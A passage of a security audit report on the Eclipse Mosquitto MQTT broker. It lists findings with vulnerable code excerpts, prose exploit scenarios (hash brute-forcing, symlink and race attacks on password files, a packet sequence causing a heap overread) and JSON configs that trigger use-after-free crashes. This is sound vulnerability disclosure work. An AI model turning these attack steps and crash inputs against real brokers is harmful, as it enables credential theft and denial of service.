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Executive Summary

Engagement Overview

OSTIF engaged Trail of Bits to review the security of the Eclipse Mosquitto project. From February 21 to March 10, 2023, a team of one consultant conducted a security review of the client-provided source code, with three person-weeks of effort. Details of the project’s timeline, test targets, and coverage are provided in subsequent sections of this report.

Project Scope

Our testing efforts were focused on the identification of flaws that could result in a compromise of confidentiality, integrity, or availability of the target system. We conducted this audit with full knowledge of the system and had access to the source code and documentation. We performed static and dynamic testing of the target system and its codebase, using both automated and manual processes.

Summary of Findings

The audit uncovered significant flaws that could impact system confidentiality, integrity, or availability. A summary of the findings and details on notable findings are provided below.

<table>
<thead>
<tr>
<th>EXPOSURE ANALYSIS</th>
<th>CATEGORY BREAKDOWN</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Severity</strong></td>
<td><strong>Count</strong></td>
</tr>
<tr>
<td>High</td>
<td>9</td>
</tr>
<tr>
<td>Medium</td>
<td>3</td>
</tr>
<tr>
<td>Low</td>
<td>1</td>
</tr>
<tr>
<td>Informational</td>
<td>2</td>
</tr>
<tr>
<td>Undetermined</td>
<td>1</td>
</tr>
<tr>
<td><strong>Category</strong></td>
<td><strong>Count</strong></td>
</tr>
<tr>
<td>Cryptography</td>
<td>3</td>
</tr>
<tr>
<td>Data Exposure</td>
<td>3</td>
</tr>
<tr>
<td>Data Validation</td>
<td>6</td>
</tr>
<tr>
<td>Denial of Service</td>
<td>1</td>
</tr>
<tr>
<td>Timing</td>
<td>1</td>
</tr>
<tr>
<td>Undefined Behavior</td>
<td>2</td>
</tr>
</tbody>
</table>
Notable Findings

Significant flaws that impact system confidentiality, integrity, or availability are listed below.

- **TOB-MOSQ-CR-1**
  By default, Mosquitto stores password hashes with only 101 iterations of PBKDF2, significantly weakening the ability of the hash algorithm to defend against brute-force attacks.

- **TOB-MOSQ-CR-3**
  `mosquitto_passwd` creates password files that are readable by all users on the system, allowing local attackers to access the password file and brute-force the hashes to gain access to the broker.

- **TOB-MOSQ-CR-5**
  A heap buffer overread issue in the persistent storage capabilities of the broker could result in a crash or sensitive data being unintentionally written to disk upon receiving a particular sequence of packets.

- **TOB-MOSQ-CR-14**
  When the WebSocket protocol support is enabled, the logic for parsing the X-Forwarded-For header is incorrect, which would allow attackers to spoof their IP address to the broker.
Project Summary

Contact Information
The following project manager was associated with this project:
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Project Timeline
The significant events and milestones of the project are listed below.

<table>
<thead>
<tr>
<th>Date</th>
<th>Event</th>
</tr>
</thead>
<tbody>
<tr>
<td>March 1, 2023</td>
<td>Status update meeting #1</td>
</tr>
<tr>
<td>March 8, 2023</td>
<td>Status update meeting #2</td>
</tr>
<tr>
<td>March 15, 2023</td>
<td>Delivery of report draft</td>
</tr>
<tr>
<td>March 15, 2023</td>
<td>Report readout meeting</td>
</tr>
<tr>
<td>April 26, 2023</td>
<td>Delivery of final report</td>
</tr>
<tr>
<td>October 30, 2023</td>
<td>Delivery of report with fix review</td>
</tr>
</tbody>
</table>
Project Goals

The engagement was scoped to provide a security assessment of Eclipse Mosquitto. Specifically, we sought to answer the following non-exhaustive list of questions:

- Do the broker and its Dynamic Security plugin implement authentication and authorization securely?
- Are cryptographic operations (e.g., password hashing, encryption at rest and in transit, authentication of encrypted data) performed securely and in alignment with best practices?
- Can an unauthorized actor, local to the system on which a broker is running, access sensitive data or influence broker behavior?
- Can memory corruption or undefined behavior be triggered in the broker or its plugins?
- Are there vulnerabilities in the parsing of configuration files that could affect the broker itself or its plugins?
- Can external or local attackers cause a denial of service to the broker and its clients?
- Is the WebSocket protocol implemented securely?
- Does Mosquitto’s documentation give secure recommendations to its users?
Project Targets

The engagement involved a review and testing of the following target.

mosquitto
Repository       https://github.com/eclipse/mosquitto
Version          d1b19b22aa5f0576d267e8c83c0634af388c7c5f
Type             MQTT broker, configuration utilities, and client library
Platform         Linux, Windows, macOS
Project Coverage

This section provides an overview of the analysis coverage of the review, as determined by our high-level engagement goals. Our approaches include the following:

- Static analysis using CodeQL
- A manual review of password hashing and the `mosquitto_passwd` utility
- A manual review of the `mosquitto_ctrl` utility’s interfacing with the Dynamic Security plugin
- A manual review and dynamic testing of password file authentication and Dynamic Security ACLs
- Fuzzing of broker packet handling, paired with an AddressSanitizer build of Mosquitto
- Fuzzing of Dynamic Security configuration file loading, paired with an AddressSanitizer build of Mosquitto
- A manual review and dynamic testing of available log destinations and features
- A manual review and dynamic testing of TLS key logging
- A manual review and dynamic testing of TLS verification by the broker and libmosquitto clients
- A manual review and dynamic testing of WebSocket protocol support and general HTTP request handling
- A manual review of documentation for secure recommendations

Coverage Limitations

Because of the time-boxed nature of testing work, it is common to encounter coverage limitations. The following list outlines the coverage limitations of the engagement and indicates system elements that may warrant further review:

- Code specific to non-Linux operating systems, such as Windows
- Broker-to-broker bridging
- Database persistence, beyond what was covered by fuzzing broker packet handling
- The plugin API and plugins other than Dynamic Security
- The `mosquitto_sub` and `mosquitto_pub` utilities, outside of code present in `libmosquitto`

- The `mosquitto_db_dump` utility
Trail of Bits uses a traffic-light protocol to provide each client with a clear understanding of the areas in which its codebase is mature, immature, or underdeveloped. Deficiencies identified here often stem from root causes within the software development lifecycle that should be addressed through standardization measures (e.g., the use of common libraries, functions, or frameworks) or training and awareness programs.

<table>
<thead>
<tr>
<th>Category</th>
<th>Summary</th>
<th>Result</th>
</tr>
</thead>
<tbody>
<tr>
<td>Auditing</td>
<td>The Mosquitto broker supports multiple log destinations and provides a timestamped trail of major events, including incoming connections, authentication attempts, configuration reloads, and various errors. However, two issues discovered in this code review (TOB-MOSQ-CR-13, TOB-MOSQ-CR-14) weaken Mosquitto's auditing capabilities by allowing attackers to spoof parts of the log.</td>
<td>Moderate</td>
</tr>
<tr>
<td>Authentication / Access Controls</td>
<td>This audit uncovered no issues that directly compromise the security of Mosquitto's authentication or access control mechanisms.</td>
<td>Satisfactory</td>
</tr>
<tr>
<td>Complexity Management</td>
<td>The code is logically organized into directories based on component and functionality, divided into functions, and abstracted when necessary. There is little to no duplication of complex pieces of code.</td>
<td>Satisfactory</td>
</tr>
<tr>
<td>Configuration</td>
<td>Mosquitto provides no configuration option to disable the parsing of the X-Forwarded-For header when there are no proxies in use (TOB-MOSQ-CR-14), which could allow IP address spoofing.</td>
<td>Moderate</td>
</tr>
<tr>
<td>Cryptography and Key Management</td>
<td>We identified a high-severity cryptographic flaw in the components responsible for password hashing (TOB-MOSQ-CR-1), a medium-severity issue that could disclose sensitive data during constant-time comparison of secrets (TOB-MOSQ-CR-2), and a recommendation for weak encryption practices in Mosquitto's documentation</td>
<td>Weak</td>
</tr>
<tr>
<td>Category</td>
<td>Description</td>
<td>Rating</td>
</tr>
<tr>
<td>--------------------------</td>
<td>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------</td>
<td>--------------</td>
</tr>
<tr>
<td>Data Handling</td>
<td>Our code review identified several issues related to data handling, some of which could significantly impact system confidentiality, integrity, or availability (TOB-MOSQ-CR-4, TOB-MOSQ-CR-5, TOB-MOSQ-CR-11, TOB-MOSQ-CR-12, TOB-MOSQ-CR-13, TOB-MOSQ-CR-14). These issues indicate systemic weaknesses in securely handling certain untrusted data sources.</td>
<td>Weak</td>
</tr>
<tr>
<td>Documentation</td>
<td>The codebase is adequately commented. There is detailed and up-to-date documentation that explains how to configure each option supported by the Mosquitto broker, how to use the command-line tools (e.g., mosquitto_passwd), and how to use the API provided by libmosquitto. We identified one issue pertaining to an insecure recommendation for encrypting TLS private keys (TOB-MOSQ-CR-16).</td>
<td>Satisfactory</td>
</tr>
<tr>
<td>Maintenance</td>
<td>The overall posture of Mosquitto's maintenance strategy for third-party dependencies requires further investigation.</td>
<td>Further Investigation Required</td>
</tr>
<tr>
<td>Memory Safety and Error Handling</td>
<td>The fuzzing processes used in this audit uncovered three issues related to memory safety (TOB-MOSQ-CR-5, TOB-MOSQ-CR-8, TOB-MOSQ-CR-9), one of which is high severity and could significantly affect the confidentiality of sensitive data and the availability of the broker. These issues indicate a need to improve the memory safety of the broker by expanding fuzzing coverage. This audit did not uncover any issues with error handling.</td>
<td>Weak</td>
</tr>
<tr>
<td>Testing and Verification</td>
<td>Mosquitto has few unit tests but a relatively comprehensive set of integration tests for the broker and the client library. An area in which testing could be improved is TLS certificate validation, as we identified a discrepancy in the handling of wildcard certificates between libmosquitto and other client software (TOB-MOSQ-CR-12). Mosquitto developers have begun to</td>
<td>Moderate</td>
</tr>
</tbody>
</table>
add fuzz harnesses for the areas of the code where untrusted data is routinely handled (e.g., packet processing, configuration file parsing, the `mosquitto_db_dump` utility), but there is room to expand this coverage (e.g., to Dynamic Security configuration file parsing).
### Summary of Findings

The table below summarizes the findings of the review, including type and severity details.

<table>
<thead>
<tr>
<th>ID</th>
<th>Title</th>
<th>Type</th>
<th>Severity</th>
</tr>
</thead>
<tbody>
<tr>
<td>1</td>
<td>Insufficient default number of PBKDF2 iterations</td>
<td>Cryptography</td>
<td>High</td>
</tr>
<tr>
<td>2</td>
<td>Improper implementation of constant-time comparison</td>
<td>Cryptography</td>
<td>Medium</td>
</tr>
<tr>
<td>3</td>
<td>mosquitto_passwd creates world-readable password files</td>
<td>Data Exposure</td>
<td>High</td>
</tr>
<tr>
<td>4</td>
<td>mosquitto_passwd trusts existing backup files</td>
<td>Data Validation</td>
<td>High</td>
</tr>
<tr>
<td>5</td>
<td>Heap buffer overread issue in persist__chunk_client_write_v6</td>
<td>Data Validation</td>
<td>High</td>
</tr>
<tr>
<td>6</td>
<td>mosquitto_ctrl dynsec init creates world-readable config</td>
<td>Data Exposure</td>
<td>High</td>
</tr>
<tr>
<td>7</td>
<td>Race condition in file existence check by mosquitto_ctrl dynsec init</td>
<td>Timing</td>
<td>High</td>
</tr>
<tr>
<td>8</td>
<td>Use-after-free instances in dynsec_groups__find and dynsec_clients__find</td>
<td>Undefined Behavior</td>
<td>Undetermined</td>
</tr>
<tr>
<td>9</td>
<td>NULL pointer dereference in dynsec_roles__config_load</td>
<td>Denial of Service</td>
<td>Low</td>
</tr>
<tr>
<td>10</td>
<td>Broker creates world-readable TLS key log files</td>
<td>Data Exposure</td>
<td>High</td>
</tr>
<tr>
<td>11</td>
<td>Broker trusts existing TLS key log files</td>
<td>Data Validation</td>
<td>High</td>
</tr>
<tr>
<td>12</td>
<td>libmosquitto accepts wildcard certificates for public suffixes</td>
<td>Data Validation</td>
<td>Medium</td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>Category</td>
<td>Severity</td>
</tr>
<tr>
<td>---</td>
<td>------------------------------------------------------------------------------</td>
<td>-------------------</td>
<td>-----------</td>
</tr>
<tr>
<td>13</td>
<td>Username characters not validated when taken from client certificate</td>
<td>Data Validation</td>
<td>Medium</td>
</tr>
<tr>
<td>14</td>
<td>Improper parsing of X-Forwarded-For header</td>
<td>Data Validation</td>
<td>High</td>
</tr>
<tr>
<td>15</td>
<td>Logger registers with DLT when DLT is not a log destination</td>
<td>Undefined Behavior</td>
<td>Informational</td>
</tr>
<tr>
<td>16</td>
<td>Documentation recommends insecure encryption practices for TLS private key</td>
<td>Cryptography</td>
<td>Informational</td>
</tr>
</tbody>
</table>
### Detailed Findings

<table>
<thead>
<tr>
<th>1. Insufficient default number of PBKDF2 iterations</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Severity:</strong> High</td>
</tr>
<tr>
<td><strong>Difficulty:</strong> Medium</td>
</tr>
<tr>
<td><strong>Type:</strong> Cryptography</td>
</tr>
<tr>
<td>Finding ID: TOB-MOSQ-CR-1</td>
</tr>
<tr>
<td>Target: common/password_mosq.h</td>
</tr>
</tbody>
</table>

#### Description

Mosquitto’s built-in password file system and the Dynamic Security plugin generate and verify user password hashes with PBKDF2-HMAC-SHA512. The default number of iterations for PBKDF2, as defined in `common/password_mosq.h`, is 101 (figure 1.1). This value is significantly lower than OWASP’s recommendation of 210,000 iterations and provides little protection against offline brute-force attacks of Mosquitto password hashes.

```c
#define PW_DEFAULT_ITERATIONS 101
```

*Figure 1.1: The default number of PBKDF2 iterations is significantly lower than current secure recommendations. (common/password_mosq.h#L36)*

Furthermore, the `mosquitto_passwd` and `mosquitto_ctrl` utilities allow the user to override the default number of iterations, but they do not verify that the provided value is greater than or equal to the default.

```c
int iterations = PW_DEFAULT_ITERATIONS;
```

*Figure 1.2: The mosquitto_passwd utility adds entries using an insecure number of iterations by default. (apps/mosquitto_passwd/mosquitto_passwd.c#L436)*

```c
if(pw__hash(password, &pw, true, PW_DEFAULT_ITERATIONS) != 0){
```

*Figure 1.3: The mosquitto_ctrl utility adds Dynamic Security clients using an insecure number of iterations by default. (apps/mosquitto_ctrl/dynsec.c#L564)*

As a result, a Mosquitto administrator could inadvertently specify an insufficient number of iterations (e.g., one) for a user, allowing their password to be easily brute-forced.

#### Exploit Scenario

An attacker obtains a Mosquitto password file or dynamic-security.json file containing PBKDF2-HMAC-SHA512 password hashes created with the default number of iterations.
As little computational effort is required to produce a PBKDF2-HMAC-SHA512 hash with only 101 iterations, the attacker uses a tool such as hashcat to easily brute-force the password hashes in parallel and eventually uncovers the plaintext credentials.

**Recommendations**

**Short term**, increase PW_DEFAULT_ITERATIONS to a minimum of 210,000, as recommended by OWASP. Continue to allow the number of iterations to be configurable in mosquitto_passwd and mosquitto_ctrl, but have the code ensure that any user-provided number of iterations is at least the default number.

Long term, as the recommended number of iterations increases over time, monitor OWASP's evolving guidance and update PW_DEFAULT_ITERATIONS accordingly.

Additionally, to significantly limit an attacker's ability to brute-force hashes in parallel, consider replacing PBKDF2 with a memory-hard, password-based key derivation function, such as Argon2id or scrypt.
2. Improper implementation of constant-time comparison

<table>
<thead>
<tr>
<th>Severity: Medium</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type: Cryptography</td>
<td>Finding ID: TOB-MOSQ-CR-2</td>
</tr>
<tr>
<td>Target: common/password_mosq.c, plugins/dynamic-security/auth.c</td>
<td></td>
</tr>
</tbody>
</table>

**Description**

Constant-time comparison is used in cryptographic code to avoid disclosing information about sensitive data through timing attacks. Mosquitto implements two functions with the same body, `memcmp_const` and `pw__memcmp_const`, that are meant to compare two arrays (e.g., password hashes) in constant time but whose runtimes actually vary with the input data. The `memcmp_const` function is shown in figure 2.1.

```c
37    static int memcmp_const(const void *a, const void *b, size_t len)
38    {
39        size_t i;
40        int rc = 0;
41        if(!a || !b) return 1;
42        for(i=0; i<len; i++){
43            if(((char *)a)[i] != ((char *)b)[i]){
44                rc = 1;
45            }
46        }
47        return rc;
48    }
```

*Figure 2.1: plugins/dynamic-security/auth.c#L37-L50*

The problem occurs on lines 45-47. If `a[i]` differs from `b[i]`, a branch is taken that assigns 1 to the `rc` variable. If `a[i]` and `b[i]` are the same value, the branch is not taken. This behavior results in a longer execution time for the function when `a` and `b` differ. As a result, `memcmp_const` and `pw__memcmp_const` do not run in constant time and may disclose information about either `a` or `b`.

An example of a secure function for constant-time comparison is OpenSSL's `CRYPTO_memcmp`, which uses bitwise operations to ensure that a constant number of instructions is executed, regardless of `a`'s or `b`'s contents:

```c
443    int CRYPTO_memcmp(const void *in_a, const void *in_b, size_t len)
444    {
```
Figure 2.2: OpenSSL’s historical implementation of CRYPTO_memcmp

CRYPTO_memcmp is now written in assembly to prevent the compiler from optimizing it into a version that does not run in constant time.

Currently, Mosquitto’s constant-time comparison functions are used only to compare password hashes. Constant-time comparison is not strictly required for secure password hash comparison. Therefore, this issue may not be directly exploitable unless the functions are reused for a different feature that is susceptible to timing attacks.

**Exploit Scenario**
Mosquitto developers add a feature whose security depends on the ability to compare bytes in constant time in order to prevent timing attacks (e.g., comparison of cryptographic private keys). They reuse memcmp_const for this purpose, expecting it to operate in constant time; however, the function’s different execution times for different inputs result in the disclosure of secret information, compromising the security of the feature.

**Recommendations**
Short term, remove memcmp_const and pw_memcmp_const. Instead, use CRYPTO_memcmp from OpenSSL for constant-time comparison.
3. mosquitto_passwd creates world-readable password files

<table>
<thead>
<tr>
<th>Severity: High</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type: Data Exposure</td>
<td>Finding ID: TOB-MOSQ-CR-3</td>
</tr>
<tr>
<td>Target: apps/mosquitto_passwd/mosquitto_passwd.c</td>
<td></td>
</tr>
</tbody>
</table>

Description
The mosquitto_passwd utility allows the user to create new password files and update entries in existing ones. Before updating an existing password file, mosquitto_passwd also creates a temporary backup of its original contents in the same directory.

When creating a new password file or a backup of an existing one, mosquitto_passwd does not set a file mode creation mask (via the umask(2) system call) to set secure file permissions (e.g., only readable and writable by the current user). As a result, password files created using mosquitto_passwd on default configurations of most Linux distributions, which use a mask value of 022, are readable by all users on the system and writable by all members of the user's group (figure 3.1).

Figure 3.1: The mosquitto_passwd utility creates a world-readable password file on Ubuntu 22.04.

In update mode, mosquitto_passwd includes a call to umask with a secure mask value of 077 (clearing all permission bits except those for the user) before creating a temporary file that the contents of the new password file are written to. However, this call occurs after the backup of the existing password file is created and therefore does not affect the backup file's permissions.

Exploit Scenario
A Mosquitto broker administrator uses the mosquitto_passwd utility to generate a password file and add entries to it. An attacker on the system, under another user account, does not have authorized access to the broker but can read the directory in which the password file was created. The attacker exploits the default world-readable permissions of the password file to access its contents, brute-force the password hashes (see TOB-MOSQ-CR-1), and gain access to the broker.
**Recommendations**
Short term, have the `mosquitto_passwd` utility call `umask` with a mask of 077 before calling `fopen` to create a new password file or a backup of an existing one. This will ensure that only the user running `mosquitto_passwd` can read or write to the file.

Long term, use the [File created without restricting permissions] CodeQL query to identify additional instances of this issue.
4. mosquitto_passwd trusts existing backup files

Severity: High  Difficulty: High
Type: Data Validation  Finding ID: TOB-MOSQ-CR-4
Target: apps/mosquitto_passwd/mosquitto_passwd.c

Description
The mosquitto_passwd utility allows the user to update entries in an existing password file. Before updating a password file, mosquitto_passwd uses the create_backup function to make a temporary backup file containing the contents of the original password file. Upon successfully updating the original password file, mosquitto_passwd removes the backup file.

The path of the backup file is the same as that of the original password file, with the added extension .tmp, but mosquitto_passwd does not ensure that this file does not already exist before opening it in create_backup (figure 4.1).

```
615    backup_file = malloc((size_t)strlen(password_file)+5);
616    if(!backup_file){
617        fprintf(stderr, "Error: Out of memory.\n");
618        free(password_file);
619        return 1;
620    }
621    snprintf(backup_file, strlen(password_file)+5, "%s.tmp", password_file);
622    free(password_file);
623    password_file = NULL;
624    if(create_backup(backup_file, fptr)){
625        fclose(fptr);
626        free(backup_file);
627        return 1;
628    }
```

Figure 4.1: apps/mosquitto_passwd/mosquitto_passwd.c#L615-L629

Because the backup filename is predictable and mosquitto_passwd trusts existing backup files, an attacker could create a file with the expected name of a backup file to exfiltrate password file contents that they should not have access to.

The default use of the fs.protected_symlinks=1 and fs.protected_regular=1 kernel parameters on some Linux distributions mitigates exploitation of this issue, but Mosquitto developers should not assume these are set on all systems where mosquitto_passwd might be used.
**Exploit Scenario**

A Mosquitto broker administrator uses the `mosquitto_passwd` utility to update an entry in a password file named `passwords`. An attacker on the system, under another user account, does not have authorized access to the broker but can write to the directory in which the password file is stored.

Before the administrator runs `mosquitto_passwd`, the attacker creates a symlink called `passwords.tmp` in the same directory as `passwords` that points to a file that the administrator can write to and the attacker can read from (e.g., `/tmp/copied_passwords`).

When the administrator runs `mosquitto_passwd`, the tool opens the attacker-controlled `passwords.tmp`, trusting it as the backup file, then follows the symlink and writes the original contents of `passwords` to `/tmp/copied_passwords`. After successfully updating `passwords`, `mosquitto_passwd` removes `passwords.tmp`, but the destination file at `/tmp/copied_passwords` remains. The attacker reads the original passwords contents from this file and brute-forces the hashes it contains (see TOB-MOSQ-CR-1) to gain access to the broker.

Alternatively, instead of using a symlink, the attacker creates a regular file called `passwords.tmp` and grants the administrator permission to write to it. In this situation, `mosquitto_passwd` still writes the backup contents to `passwords.tmp` but deletes it immediately after updating passwords. However, the attacker can still race `mosquitto_passwd` to access `passwords.tmp` before it is removed.

**Recommendations**

Short term, instead of appending `.tmp` to the original password file name, use `mkstemp(3)` to create a temporary backup file with a unique name, similar to how `mosquitto_passwd` generates another temporary file. The use of `mkstemp` would resolve this issue due to this assurance: “The file is opened with the `open(2)` O_EXCL flag, guaranteeing that the caller is the process that creates the file.” Ensure that read and write access for the temporary file is restricted to the legitimate user (see TOB-MOSQ-CR-3).
5. Heap buffer overread issue in persist__chunk_client_write_v6

Severity: High  Difficulty: Undetermined
Type: Data Validation  Finding ID: TOB-MOSQ-CR-5
Target: src/persist_write_v5.c

Description
Using the FUME MQTT fuzzing engine to fuzz an AddressSanitizer-enabled build of the Mosquitto broker revealed that a sequence of two CONNECT packets can trigger a heap buffer overread issue in the persist__chunk_client_write_v6 function when the in-memory persistence store is written to disk. The amount of data read past the buffer’s bounds is partially controlled by the attacker.

Appendix C contains the AddressSanitizer crash report and a proof-of-concept (PoC) script to reproduce the crash. The crash occurs on autosave of the persistence file; if autosave is not enabled, the crash occurs on program exit.

The persist__chunk_client_write_v6 function is shown in figure 5.1. The crash occurs due to lines 78–80, when the username of a client is written to the persistence database file pointer (write_e is a macro for fwrite).

```
59  int persist__chunk_client_write_v6(FILE *db_fptr, struct P_client *chunk)
60  {  
   struct PF_header header;
61  uint16_t id_len = chunk->F.id_len;
62  uint16_t username_len = chunk->F.username_len;
63  
64  chunk->F.session_expiry_interval = htonl(chunk->F.session_expiry_interval);
65  chunk->F.last_mid = htonl(chunk->F.last_mid);
66  chunk->F.id_len = htonl(chunk->F.id_len);
67  chunk->F.username_len = htonl(chunk->F.username_len);
68  chunk->F.listener_port = htonl(chunk->F.listener_port);
69  
70  header.chunk = htonl(DB_CHUNK_CLIENT);
71  header.length = htonl((uint32_t)sizeof(struct PF_client)+id_len+username_len);
72  
74  write_e(db_fptr, &header, sizeof(struct PF_header));
75  write_e(db_fptr, &chunk->F, sizeof(struct PF_client));
76  write_e(db_fptr, chunk->clientid, id_len);
77  if(username_len > 0){
```
write_e(db_fptr, chunk->username, username_len);
}

return MOSQ_ERR_SUCCESS;

error:
    log__printf(NULL, MOSQ_LOG_ERR, "Error: %s.", strerror(errno));
    return 1;

Figure 5.1: src/persist_write_v5.c#L59-L86

When the triggering sequence of packets is received, the username_len value is stored in the reverse byte order of the original username length in the first packet, which is far greater than the real size of the username.

For example, if the original length of the username was 0x0019 (25) bytes, then username_len becomes 0x1900 (6400) bytes, and 6400 bytes of heap memory are unintentionally written to the persistence file. Figure C.3 in appendix C contains a hexdump of mosquitto.db that shows extraneous heap data after running the PoC script.

**Exploit Scenario**

A local attacker with read access to the Mosquitto persistence file exploits this vulnerability to access heap data from the broker. The data extracted to the persistence file contains credentials, keys, or other sensitive information that the attacker uses to gain access to the broker or escalate existing privileges.

On some systems, the broker's attempt to read excessive data from the heap causes a crash due to a segmentation fault. Against such targets, the attacker uses this vulnerability to crash the mosquitto process, causing a denial of service to all clients and bridged brokers.

**Recommendations**

Short term, investigate the crash to identify and resolve the underlying cause of the memory corruption. The issue may be related to the flow of receiving a CONNECT packet with a username, followed by one without a username. When the second packet is received, chunk->username and chunk->F.username_len, which correspond to the username for the first packet, are inadvertently reused even though the second packet does not have a username. This results in chunk->F.username_len being converted in endianness an extra time (see the call to htons on line 68 in figure 5.1), causing the chunk->username parameter to overflow.

Long term, use FUME with an AddressSanitizer-enabled build of mosquitto to discover more bugs related to the broker's packet handling.
6. mosquitto_ctrl dynsec init creates world-readable config

<table>
<thead>
<tr>
<th>Severity: High</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type: Data Exposure</td>
<td>Finding ID: TOB-MOSQ-CR-6</td>
</tr>
<tr>
<td>Target: apps/mosquitto_ctrl/dynsec.c</td>
<td></td>
</tr>
</tbody>
</table>

**Description**

The `dynsec init` subcommand of the `mosquitto_ctrl` function is used to initialize a new configuration file for the Dynamic Security plugin.

When creating the file, `mosquitto_ctrl dynsec init` does not set a file mode creation mask (via the `umask(2)` system call) to set secure file permissions (e.g., only readable and writable by the current user). As a result, `mosquitto_ctrl` creates world-readable Dynamic Security configuration files on default configurations of most Linux distributions, which use a mask value of 022.

```
$ ./mosquitto_ctrl dynsec init dynamic-security.json admin
New password for admin:
Reenter password for admin:
The client 'admin' has been created in the file 'dynamic-security.json'.
This client is configured to allow you to administer the dynamic security plugin only.
It does not have access to publish messages to normal topics.
You should create your application clients to do that, for example:
  mosquitto_ctrl <connect options> dynsec createClient <username>
  mosquitto_ctrl <connect options> dynsec createRole <rolename>
  mosquitto_ctrl <connect options> dynsec addRoleACL <rolename> publishClientSend my/topic [priority]
  mosquitto_ctrl <connect options> dynsec addClientRole <username> <rolename> [priority]
See https://mosquitto.org/documentation/dynamic-security/ for details of all commands.
$ ls -latr dynamic-security.json
-rw-rw-r-- 1 ubuntu ubuntu 1317 Feb 28 20:39 dynamic-security.json
```

*Figure 6.1: The `mosquitto_ctrl` function's `dynsec init` command creates a world-readable Dynamic Security configuration file on Ubuntu 22.04.*

**Exploit Scenario**

A Mosquitto broker administrator uses the `mosquitto_ctrl` utility to generate a configuration file for the Dynamic Security plugin. An attacker on the system, under another user account, does not have administrative access to the Dynamic Security plugin but can read the directory in which the configuration file was created. The attacker exploits
the default world-readable permissions of the configuration file to access its contents, brute-force the administrator password hash (see TOB-MOSQ-CR-1), and gain access to the Dynamic Security plugin.

**Recommendations**
Short term, have the `mosquitto_ctrl` utility call `umask` with a mask of `077` before calling `fopen` to create the configuration file. This will ensure that only the user running `mosquitto_ctrl` can read or write to the file.

Long term, use the File created without restricting permissions CodeQL query to identify additional instances of this issue.
7. Race condition in file existence check by mosquitto_ctrl dynsec init

Severity: High  Difficulty: High
Type: Timing  Finding ID: TOB-MOSQ-CR-7
Target: apps/mosquitto_ctrl/dynsec.c

Description
The dynsec init subcommand of the mosquitto_ctrl utility is used to initialize a new configuration file for the Dynamic Security plugin. dynsec init first checks whether a file with the specified name already exists using a call to fopen (line 710 of figure 7.1). If the file exists, mosquitto_ctrl refuses to write to the file and prints an error. If the file does not exist, dynsec init calls fopen again to write the configuration data to the file (line 725 of figure 7.1).

These two calls to fopen do not happen atomically, resulting in a time-of-check to time-of-use (TOCTOU) race condition in which an attacker-controlled file could be created in the interval.

```c
710  fptr = fopen(filename, "rb");
711  if(fptr){
712     fclose(fptr);
713     fprintf(stderr, "dynsec init: '%s' already exists. Remove the file or use a different location..\n", filename);
714     return -1;
715  }
716
717  tree = init_create(admin_user, admin_password, "admin");
718  if(tree == NULL){
719     fprintf(stderr, "dynsec init: Out of memory.\n");
720     return MOSQ_ERR_NOMEM;
721  }
722  json_str = cJSON_Print(tree);
723  cJSON_Delete(tree);
724
725  fptr = fopen(filename, "wb");
726  if(fptr){
727     fprintf(fptr, "%s", json_str);
728     free(json_str);
729     fclose(fptr);
730  } else {
```

Figure 7.1: apps/mosquitto_ctrl/dynsec.c#L710-L730
The default use of the `fs.protected_symlinks=1` and `fs.protected_regular=1` kernel parameters on some Linux distributions mitigates exploitation of this issue, but Mosquitto developers should not assume these are set on all systems where `mosquitto_ctrl` might be used.

**Exploit Scenario**
A Mosquitto broker administrator uses the `mosquitto_ctrl` utility to create a new Dynamic Security configuration file (e.g., `dynamic-security.json`). An attacker on the system, under another user account, does not have administrative access to the Dynamic Security plugin but can write to the directory where `dynamic-security.json` is created.

The attacker writes a program to exploit the race condition in `mosquitto_ctrl dynsec init`. The program repeatedly tries to create `dynamic-security.json` as a symlink to another file that is readable by the attacker and writable by the administrator. Once the symlink is successfully created in the interval between the two calls to `fopen` (figure 7.1), `mosquitto_ctrl` writes the Dynamic Security configuration data, including the password hash for the administrator user, to the attacker-controlled destination file. The attacker then brute-forces the hash (see TOB-MOSQ-CR-1) to gain administrative access to the Dynamic Security plugin.

**Recommendations**
Short term, replace the two calls to `fopen` with a single call to `open(3)`, passing the `O_CREAT` and `O_EXCL` flags (figure 7.2).

The man page for `open(3)` describes the behavior of these flags:

> If `O_CREAT` and `O_EXCL` are set, `open()` shall fail if the file exists. The check for the existence of the file and the creation of the file if it does not exist shall be atomic with respect to other threads executing `open()` naming the same filename in the same directory with `O_EXCL` and `O_CREAT` set.

```c
#include <fcntl.h>
#include <errno.h>

fd = open(pathname, O_CREAT | O_WRONLY | O_EXCL, S_IRUSR | S_IWUSR);
if (fd < 0) {
    // Failure to create file
    if (errno == EEXIST) {
        // The file already exists
    }
} else {
    // Use the file
}
```

*Figure 7.2: Using open(3) with O_CREAT and O_EXCL flags to check whether a file exists and to create it atomically*
### 8. Use-after-free instances in dynsec_groups__find and dynsec_clients__find

<table>
<thead>
<tr>
<th>Severity: Undetermined</th>
<th>Difficulty: High</th>
</tr>
</thead>
<tbody>
<tr>
<td>Type: Undefined Behavior</td>
<td>Finding ID: TOB-MOSQ-CR-8</td>
</tr>
<tr>
<td>Target: plugins/dynamic-security/groups.c, plugins/dynamic-security/clients.c</td>
<td></td>
</tr>
</tbody>
</table>

#### Description
Fuzzing Dynamic Security configuration file parsing revealed two use-after-free instances that occur when the plugin unloads, resulting in undefined behavior. The AddressSanitizer crash reports are provided in appendix D.

The use-after-free instances are triggered by a configuration file that contains groups or clients with duplicate names (figures 8.1 and 8.2, respectively).

```json
{
  "groups": [
    {
      "groupname": "group0"
    },
    {
      "groupname": "group0"
    }
  ]
}
```

*Figure 8.1: A Dynamic Security configuration file with duplicate group names causes a use-after-free instance in the dynsec_groups__find function.*

```json
{
  "clients": [
    {
      "username": "user0"
    },
    {
      "username": "user0"
    }
  ]
}
```

*Figure 8.2: A Dynamic Security configuration file with duplicate client usernames causes a use-after-free instance in the dynsec_clients__find function.*
When unloading the configuration corresponding to one of the above files, the Dynamic Security plugin attempts to free the memory it allocated for groups and clients. However, in doing so, dynsec_groups__find (figure 8.3) and dynsec_clients__find dereference a pointer to a dynsec__group or dynsec__client structure that has already been freed by group__free_item (figure 8.4) or client__free_item.

